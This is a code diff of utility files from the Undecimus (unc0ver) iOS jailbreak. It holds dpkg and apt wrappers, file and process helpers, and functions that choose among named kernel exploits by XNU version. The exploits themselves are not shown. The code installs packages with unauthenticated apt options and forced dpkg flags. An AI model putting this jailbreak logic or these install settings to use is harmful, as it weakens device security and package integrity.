bool installDebs(NSArray <NSString*> *debs, bool forceDeps);
bool removePkg(char *packageID, bool forceDeps);
bool removePkgs(NSArray <NSString*> *packageIDs, bool forceDeps);
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
NSString *debForPkg(NSString *pkg);
bool aptUpdate(void);
bool aptInstall(NSArray <NSString*> *pkgs);
bool aptUpgrade(void);
bool runApt(NSArray <NSString*> *args);
bool removeDeb(char *packageID, bool forceDeps);
bool pidFileIsValid(NSString *pidfile);
bool pspawnHookLoaded(void);
bool is_symlink(const char *filename);
bool is_directory(const char *filename);
bool is_mountpoint(const char *filename);
bool ensure_directory(const char *directory, int owner, mode_t mode);
bool ensure_file(const char *file, int owner, mode_t mode);
bool ensure_symlink(const char *to, const char *from);
bool mode_is(const char *filename, mode_t mode);
int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t));
int runCommandv(const char *cmd, int argc, const char * const*argv);
int runCommand(const char *cmd, ...);
NSString *pathForResource(NSString *resource);
pid_t pidOfProcess(const char *name);
@@ -103,16 +87,8 @@ NSInteger recommendedJailbreakSupport(void);
NSInteger recommendedRestartSupport(void);
NSInteger recommendedRespringSupport(void);
bool daemonIsLoaded(char *daemonID);
NSString *bundledResourcesVersion(void);
NSString *appVersion(void);
bool debuggerEnabled(void);
const char *getLogFile(void);
void enableLogging(void);
void disableLogging(void);
void cleanLogs(void);
bool modifyPlist(NSString *filename, void (^function)(id));
void list(NSString *directory);
NSString *getBundledResources(void);
extern NSData *lastSystemOutput;
#endif /* _UTILS_H */
#endif /* utils_h */
+85 -351
View File
@@ -3,7 +3,7 @@
// Undecimus
//
// Created by Sam Bingner on 11/23/18.
// Copyright © 2018 - 2019 Sam Bingner. All rights reserved.
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
//
#import <mach/error.h>
@@ -11,17 +11,16 @@
#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>
#import <spawn.h>
#import <QiLin.h>
#include <copyfile.h>
#include <common.h>
#include <libproc.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <netinet/in.h>
#import "ArchiveFile.h"
#import "utils.h"
extern char **environ;
int logfd=-1;
static NSString *sourcePath=nil;
NSData *lastSystemOutput=nil;
@@ -66,37 +65,7 @@ NSString *sha1sum(NSString *file)
return [NSString stringWithUTF8String:checksum];
}
NSString *md5sum(NSString *file)
{
uint8_t buffer[0x1000];
unsigned char md[CC_SHA1_DIGEST_LENGTH];
if (![[NSFileManager defaultManager] fileExistsAtPath:file])
return nil;
NSInputStream *fileStream = [NSInputStream inputStreamWithFileAtPath:file];
[fileStream open];
CC_MD5_CTX c;
CC_MD5_Init(&c);
while ([fileStream hasBytesAvailable]) {
NSInteger read = [fileStream read:buffer maxLength:0x1000];
CC_MD5_Update(&c, buffer, (CC_LONG)read);
}
CC_MD5_Final(md, &c);
char checksum[CC_MD5_DIGEST_LENGTH * 2 + 1];
if (sha1_to_str(md, CC_MD5_DIGEST_LENGTH, checksum, sizeof(checksum)) != ERR_SUCCESS)
return nil;
return [NSString stringWithUTF8String:checksum];
}
bool verifySha1Sums(NSString *sumFile) {
return verifySums(sumFile, HASHTYPE_SHA1);
}
bool verifySums(NSString *sumFile, enum hashtype hash) {
if (![[NSFileManager defaultManager] fileExistsAtPath:sumFile])
return false;
@@ -115,15 +84,7 @@ bool verifySums(NSString *sumFile, enum hashtype hash) {
LOG("Invalid line \"%s\"", checksum.UTF8String);
return false;
}
NSString *fileSum;
switch (hash) {
case HASHTYPE_SHA1:
fileSum = sha1sum(suminfo[1]);
break;
case HASHTYPE_MD5:
fileSum = md5sum(suminfo[1]);
break;
}
NSString *fileSum = sha1sum(suminfo[1]);
if (![fileSum.lowercaseString isEqualToString:suminfo[0]]) {
LOG("Corrupted \"%s\"", [suminfo[1] UTF8String]);
return false;
@@ -136,7 +97,7 @@ bool verifySums(NSString *sumFile, enum hashtype hash) {
int _system(const char *cmd) {
const char *argv[] = {"sh", "-c", (char *)cmd, NULL};
return runCommandv("/bin/sh", 3, argv, NULL);
return runCommandv("/bin/sh", 3, argv);
}
int systemf(const char *cmd, ...) {
@@ -147,27 +108,20 @@ int systemf(const char *cmd, ...) {
return system([cmdstr UTF8String]);
}
bool pkgIsInstalled(char *packageID) {
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Status: | grep -q \"install ok\"", packageID);
bool debIsInstalled(char *packageID) {
int rv = systemf("/usr/bin/dpkg -s \"%s\" | grep -i ^Status: | grep -q \"install ok\"", packageID);
bool isInstalled = !WEXITSTATUS(rv);
LOG("Deb: \"%s\" is%s installed", packageID, isInstalled?"":" not");
return isInstalled;
}
bool pkgIsConfigured(char *packageID) {
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Status: | grep -q \"install ok installed\"", packageID);
bool debIsConfigured(char *packageID) {
int rv = systemf("/usr/bin/dpkg -s \"%s\" | grep -i ^Status: | grep -q \"install ok installed\"", packageID);
bool isConfigured = !WEXITSTATUS(rv);
LOG("Deb: \"%s\" is%s installed", packageID, isConfigured?"":" not");
return isConfigured;
}
bool pkgIsBy(const char *maintainer, const char *packageID) {
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Maintainer: | grep -qi \"%s\"", packageID, maintainer);
bool isBy = !WEXITSTATUS(rv);
LOG("Deb: \"%s\" is%s by %s", packageID, isBy?"":" not", maintainer);
return isBy;
}
bool compareInstalledVersion(const char *packageID, const char *op, const char *version) {
int rv = systemf("/usr/bin/dpkg --compare-versions $(dpkg-query --showformat='${Version}' --show \"%s\") \"%s\" \"%s\"",
packageID, op, version);
@@ -176,78 +130,14 @@ bool compareInstalledVersion(const char *packageID, const char *op, const char *
return rv;
}
bool runDpkg(NSArray <NSString*> *args, bool forceDeps) {
if ([args count] < 2) {
LOG("%s: Nothing to do", __FUNCTION__);
return false;
}
NSMutableArray <NSString*> *command = [NSMutableArray
arrayWithArray:@[
@"/usr/bin/dpkg",
@"--force-bad-path",
@"--force-configure-any",
@"--no-triggers"
]];
if (forceDeps) {
[command addObjectsFromArray:@[@"--force-depends", @"--force-remove-essential"]];
}
for (NSString *arg in args) {
[command addObject:arg];
}
const char *argv[command.count];
for (int i=0; i<[command count]; i++) {
argv[i] = [command[i] UTF8String];
}
argv[command.count] = NULL;
int rv = runCommandv("/usr/bin/dpkg", (int)[command count], argv, NULL);
return !WEXITSTATUS(rv);
}
bool extractDeb(NSString *debPath) {
if (![debPath hasSuffix:@".deb"]) {
LOG(@"%@: not a deb", debPath);
return NO;
}
if ([debPath containsString:@"firmware-sbin"]) {
// No, just no.
return YES;
}
NSPipe *pipe = [NSPipe pipe];
if (pipe == nil) {
LOG(@"Unable to make a pipe!");
return NO;
}
ArchiveFile *deb = [ArchiveFile archiveWithFile:debPath];
if (deb == nil) {
return NO;
}
ArchiveFile *tar = [ArchiveFile archiveWithFd:pipe.fileHandleForReading.fileDescriptor];
if (tar == nil) {
return NO;
}
LOG("Extracting %@", debPath);
dispatch_queue_t extractionQueue = dispatch_queue_create(NULL, NULL);
dispatch_async(extractionQueue, ^{
[deb extractFileNum:3 toFd:pipe.fileHandleForWriting.fileDescriptor];
});
return [tar extractToPath:@"/"];
}
bool extractDebs(NSArray <NSString *> *debPaths) {
if ([debPaths count] < 1) {
bool installDeb(char *debName, bool forceDeps) {
NSString *path = pathForResource(@(debName));
if (path == nil) {
LOG("%s: Nothing to install", __FUNCTION__);
return false;
}
for (NSString *debPath in debPaths) {
if (!extractDeb(debPath))
return NO;
}
return YES;
}
bool installDeb(const char *debName, bool forceDeps) {
return runDpkg(@[@"-i", @(debName)], forceDeps);
int rv = systemf("/usr/bin/dpkg %s --force-bad-path --force-configure-any -i \"%s\"", (forceDeps?"--force-depends":""), path.UTF8String);
return !WEXITSTATUS(rv);
}
bool installDebs(NSArray <NSString*> *debs, bool forceDeps) {
@@ -255,54 +145,60 @@ bool installDebs(NSArray <NSString*> *debs, bool forceDeps) {
LOG("%s: Nothing to install", __FUNCTION__);
return false;
}
return runDpkg([@[@"-i"] arrayByAddingObjectsFromArray:debs], forceDeps);
}
bool removePkg(char *packageID, bool forceDeps) {
return runDpkg(@[@"-r", @(packageID)], forceDeps);
}
bool removePkgs(NSArray <NSString*> *pkgs, bool forceDeps) {
if ([pkgs count] < 1) {
LOG("%s: Nothing to remove", __FUNCTION__);
return false;
}
return runDpkg([@[@"-r"] arrayByAddingObjectsFromArray:pkgs], forceDeps);
}
bool runApt(NSArray <NSString*> *args) {
if ([args count] < 1) {
LOG("%s: Nothing to do", __FUNCTION__);
return false;
}
NSMutableArray <NSString*> *command = [NSMutableArray arrayWithArray:@[
@"/usr/bin/apt-get",
@"-o", @"Dir::Etc::sourcelist=undecimus/undecimus.list",
@"-o", @"Dir::Etc::sourceparts=-",
@"-o", @"APT::Get::List-Cleanup=0"
]];
[command addObjectsFromArray:args];
NSMutableArray <NSString*> *command = [NSMutableArray
arrayWithArray:@[
@"/usr/bin/dpkg",
@"--force-bad-path",
@"--force-configure-any",
]];
if (forceDeps) {
[command addObject:@"--force-depends"];
}
[command addObject:@"-i"];
for (NSString *deb in debs) {
NSString *path = pathForResource(deb);
if (path == nil) {
return false;
}
[command addObject:path];
}
const char *argv[command.count];
for (int i=0; i<[command count]; i++) {
argv[i] = [command[i] UTF8String];
}
argv[command.count] = NULL;
int rv = runCommandv(argv[0], (int)[command count], argv, NULL);
int rv = runCommandv("/usr/bin/dpkg", (int)[command count], argv);
return !WEXITSTATUS(rv);
}
bool aptUpdate() {
return runApt(@[@"update"]);
bool removeDeb(char *packageID, bool forceDeps) {
int rv = systemf("/usr/bin/dpkg %s -r \"%s\"", (forceDeps?"--force-depends":""), packageID);
return !WEXITSTATUS(rv);
}
bool aptInstall(NSArray <NSString*> *pkgs) {
return runApt([@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"install"]
arrayByAddingObjectsFromArray:pkgs]);
bool pidFileIsValid(NSString *pidfile) {
NSString *jbdpid = [NSString stringWithContentsOfFile:pidfile encoding:NSUTF8StringEncoding error:NULL];
if (jbdpid != nil && pidOfProcess("/usr/libexec/jailbreakd") == jbdpid.integerValue) {
return true;
}
return false;
}
bool aptUpgrade() {
return runApt(@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"-f", @"dist-upgrade"]);
bool pspawnHookLoaded() {
static int request[2] = { CTL_KERN, KERN_BOOTTIME };
struct timeval result;
size_t result_len = sizeof result;
if (access("/var/run/pspawn_hook.ts", F_OK) == ERR_SUCCESS) {
NSString *stamp = [NSString stringWithContentsOfFile:@"/var/run/pspawn_hook.ts" encoding:NSUTF8StringEncoding error:NULL];
if (stamp != nil && sysctl(request, 2, &result, &result_len, NULL, 0) >= 0) {
if ([stamp integerValue] > result.tv_sec) {
return true;
}
}
}
return false;
}
bool is_symlink(const char *filename) {
@@ -321,28 +217,6 @@ bool is_directory(const char *filename) {
return S_ISDIR(buf.st_mode);
}
bool is_mountpoint(const char *filename) {
struct stat buf;
if (lstat(filename, &buf) != ERR_SUCCESS) {
return false;
}
if (!S_ISDIR(buf.st_mode))
return false;
char *cwd = getcwd(NULL, 0);
int rv = chdir(filename);
assert(rv == ERR_SUCCESS);
struct stat p_buf;
rv = lstat("..", &p_buf);
assert(rv == ERR_SUCCESS);
if (cwd) {
chdir(cwd);
free(cwd);
}
return buf.st_dev != p_buf.st_dev || buf.st_ino == p_buf.st_ino;
}
bool ensure_directory(const char *directory, int owner, mode_t mode) {
NSString *path = @(directory);
NSFileManager *fm = [NSFileManager defaultManager];
@@ -395,40 +269,6 @@ bool ensure_symlink(const char *to, const char *from) {
return true;
}
bool ensure_file(const char *file, int owner, mode_t mode) {
NSString *path = @(file);
NSFileManager *fm = [NSFileManager defaultManager];
id attributes = [fm attributesOfItemAtPath:path error:nil];
if (attributes &&
[attributes[NSFileType] isEqual:NSFileTypeDirectory] &&
[attributes[NSFileOwnerAccountID] isEqual:@(owner)] &&
[attributes[NSFileGroupOwnerAccountID] isEqual:@(owner)] &&
[attributes[NSFilePosixPermissions] isEqual:@(mode)]
) {
// Directory exists and matches arguments
return true;
}
if (attributes) {
if ([attributes[NSFileType] isEqual:NSFileTypeRegular]) {
// Item exists and is a file
return [fm setAttributes:@{
NSFileOwnerAccountID: @(owner),
NSFileGroupOwnerAccountID: @(owner),
NSFilePosixPermissions: @(mode)
} ofItemAtPath:path error:nil];
} else if (![fm removeItemAtPath:path error:nil]) {
// Item exists and is not a file but could not be removed
return false;
}
}
// Item does not exist at this point
return [fm createFileAtPath:path contents:nil attributes:@{
NSFileOwnerAccountID: @(owner),
NSFileGroupOwnerAccountID: @(owner),
NSFilePosixPermissions: @(mode)
}];
}
bool mode_is(const char *filename, mode_t mode) {
struct stat buf;
if (lstat(filename, &buf) != ERR_SUCCESS) {
@@ -437,14 +277,12 @@ bool mode_is(const char *filename, mode_t mode) {
return buf.st_mode == mode;
}
int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t)) {
int runCommandv(const char *cmd, int argc, const char * const* argv) {
pid_t pid;
posix_spawn_file_actions_t *actions = NULL;
posix_spawn_file_actions_t actionsStruct;
int out_pipe[2];
bool valid_pipe = false;
posix_spawnattr_t *attr = NULL;
posix_spawnattr_t attrStruct;
NSMutableString *cmdstr = [NSMutableString stringWithCString:cmd encoding:NSUTF8StringEncoding];
for (int i=1; i<argc; i++) {
@@ -460,19 +298,9 @@ int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unre
posix_spawn_file_actions_addclose(actions, out_pipe[1]);
}
if (unrestrict && posix_spawnattr_init(&attrStruct) == ERR_SUCCESS) {
attr = &attrStruct;
posix_spawnattr_setflags(attr, POSIX_SPAWN_START_SUSPENDED);
}
int rv = posix_spawn(&pid, cmd, actions, attr, (char *const *)argv, environ);
int rv = posix_spawn(&pid, cmd, actions, NULL, (char *const *)argv, environ);
LOG("%s(%d) command: %@", __FUNCTION__, pid, cmdstr);
if (unrestrict) {
unrestrict(pid);
kill(pid, SIGCONT);
}
if (valid_pipe) {
close(out_pipe[1]);
}
@@ -534,12 +362,12 @@ int runCommand(const char *cmd, ...) {
va_end(ap2);
argv[argc] = NULL;
int rv = runCommandv(cmd, argc, argv, NULL);
int rv = runCommandv(cmd, argc, argv);
return WEXITSTATUS(rv);
}
NSString *pathForResource(NSString *resource) {
NSString *path = [[sourcePath stringByAppendingPathComponent:resource] stringByStandardizingPath];
NSString *path = [sourcePath stringByAppendingPathComponent:resource];
if (![[NSFileManager defaultManager] fileExistsAtPath:path]) {
return nil;
}
@@ -607,7 +435,7 @@ bool jailbreakEnabled() {
bool supportsExploit(NSInteger exploit) {
switch (exploit) {
case empty_list_exploit: {
case empty_list: {
NSArray *list =
@[@"4397.0.0.2.4~1",
@"4481.0.0.2.1~1",
@@ -644,7 +472,7 @@ bool supportsExploit(NSInteger exploit) {
}
break;
}
case multi_path_exploit: {
case multi_path: {
NSArray *list =
@[@"4397.0.0.2.4~1",
@"4481.0.0.2.1~1",
@@ -679,7 +507,7 @@ bool supportsExploit(NSInteger exploit) {
}
break;
}
case async_wake_exploit: {
case async_wake: {
NSArray *list =
@[@"4397.0.0.2.4~1",
@"4481.0.0.2.1~1",
@@ -700,7 +528,7 @@ bool supportsExploit(NSInteger exploit) {
}
break;
}
case deja_xnu_exploit: {
case deja_xnu: {
NSArray *list =
@[@"4397.0.0.2.4~1",
@"4481.0.0.2.1~1",
@@ -729,13 +557,7 @@ bool supportsExploit(NSInteger exploit) {
@"4570.52.2~8",
@"4570.60.10.0.1~16",
@"4570.60.16~9",
@"4570.60.19~25",
@"4570.60.21~7",
@"4570.60.21~3",
@"4570.70.14~16",
@"4570.70.19~13",
@"4570.70.24~9",
@"4570.70.24~3"];
@"4570.60.19~25"];
for (NSString *string in list) {
if (kernelVersionContains(string.UTF8String) &&
!jailbreakEnabled()) {
@@ -744,7 +566,7 @@ bool supportsExploit(NSInteger exploit) {
}
break;
}
case necp_exploit: {
case necp: {
NSArray *list =
@[@"4397.0.0.2.4~1",
@"4481.0.0.2.1~1",
@@ -773,13 +595,7 @@ bool supportsExploit(NSInteger exploit) {
@"4570.52.2~8",
@"4570.60.10.0.1~16",
@"4570.60.16~9",
@"4570.60.19~25",
@"4570.60.21~7",
@"4570.60.21~3",
@"4570.70.14~16",
@"4570.70.19~13",
@"4570.70.24~9",
@"4570.70.24~3"];
@"4570.60.19~25"];
for (NSString *string in list) {
if (kernelVersionContains(string.UTF8String)) {
return true;
@@ -794,40 +610,40 @@ bool supportsExploit(NSInteger exploit) {
}
bool jailbreakSupported() {
return supportsExploit(empty_list_exploit) ||
supportsExploit(multi_path_exploit) ||
supportsExploit(async_wake_exploit);
return supportsExploit(empty_list) ||
supportsExploit(multi_path) ||
supportsExploit(async_wake);
}
bool respringSupported() {
return supportsExploit(deja_xnu_exploit);
return supportsExploit(deja_xnu);
}
bool restartSupported() {
return supportsExploit(necp_exploit);
return supportsExploit(necp);
}
NSInteger recommendedJailbreakSupport() {
if (supportsExploit(async_wake_exploit))
return async_wake_exploit;
else if (supportsExploit(multi_path_exploit))
return multi_path_exploit;
else if (supportsExploit(empty_list_exploit))
return empty_list_exploit;
if (supportsExploit(async_wake))
return async_wake;
else if (supportsExploit(multi_path))
return multi_path;
else if (supportsExploit(empty_list))
return empty_list;
else
return -1;
}
NSInteger recommendedRestartSupport() {
if (supportsExploit(necp_exploit))
return necp_exploit;
if (supportsExploit(necp))
return necp;
else
return -1;
}
NSInteger recommendedRespringSupport() {
if (supportsExploit(deja_xnu_exploit))
return deja_xnu_exploit;
if (supportsExploit(deja_xnu))
return deja_xnu;
else
return -1;
}
@@ -839,94 +655,12 @@ bool daemonIsLoaded(char *daemonID) {
return isLoaded;
}
NSString *bundledResourcesVersion() {
NSString *getBundledResources() {
NSBundle *bundle = [NSBundle mainBundle];
return [bundle objectForInfoDictionaryKey:@"BundledResources"];
}
NSString *appVersion() {
NSBundle *bundle = [NSBundle mainBundle];
return [bundle objectForInfoDictionaryKey:@"CFBundleShortVersionString"];
}
bool debuggerEnabled() {
return (getppid() != 1);
}
const char *getLogFile() {
static const char *logfile = NULL;
if (logfile == NULL) {
NSString *homeDirectory = NSHomeDirectory();
logfile = [NSString stringWithFormat:@"%@/Documents/log_file.txt", homeDirectory].UTF8String;
}
return logfile;
}
void enableLogging() {
if (!debuggerEnabled()) {
int old_logfd = logfd;
int newfd = open(getLogFile(), O_WRONLY|O_CREAT, 0);
if (newfd > 0) {
init_file(getLogFile(), 501, 0644);
}
logfd = newfd;
if (old_logfd > 0)
close(old_logfd);
}
}
void disableLogging() {
if (!debuggerEnabled()) {
int old_logfd = logfd;
logfd = -1;
if (old_logfd > 0)
close(old_logfd);
}
}
void cleanLogs() {
const char *logFile = getLogFile();
clean_file(logFile);
enableLogging();
}
bool modifyPlist(NSString *filename, void (^function)(id)) {
LOG("%s: Will modify plist: %@", __FUNCTION__, filename);
NSData *data = [NSData dataWithContentsOfFile:filename];
if (data == nil) {
LOG("%s: Failed to read file: %@", __FUNCTION__, filename);
return false;
}
NSPropertyListFormat format = 0;
NSError *error = nil;
id plist = [NSPropertyListSerialization propertyListWithData:data options:NSPropertyListMutableContainersAndLeaves format:&format error:&error];
if (plist == nil) {
LOG("%s: Failed to generate plist data: %@", __FUNCTION__, error);
return false;
}
if (function) {
function(plist);
}
NSData *newData = [NSPropertyListSerialization dataWithPropertyList:plist format:format options:0 error:&error];
if (newData == nil) {
LOG("%s: Failed to generate new plist data: %@", __FUNCTION__, error);
return false;
}
if (![data isEqual:newData]) {
LOG("%s: Writing to file: %@", __FUNCTION__, filename);
if (![newData writeToFile:filename atomically:YES]) {
LOG("%s: Failed to write to file: %@", __FUNCTION__, filename);
return false;
}
}
LOG("%s: Success", __FUNCTION__);
return true;
}
void list(NSString *directory) {
NSFileManager *fileManager = [NSFileManager defaultManager];
NSArray *listArray = [fileManager contentsOfDirectoryAtPath:directory error:nil];
LOG(@"%s(%@): %@", __FUNCTION__, directory, listArray);
NSDictionary *infoDictionary = [bundle infoDictionary];
NSString *bundledResourcesKey = @"BundledResources";
NSString *bundledResources = [infoDictionary objectForKey:bundledResourcesKey];
return bundledResources;
}
__attribute__((constructor))
-8
View File
@@ -1,8 +0,0 @@
Origin: Undecimus
Label: Undecimus
Suite: stable
Version: 0.1
Codename: Undecimus
Architectures: iphoneos-arm
Components: main
Description: Unc0ver Bundled
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More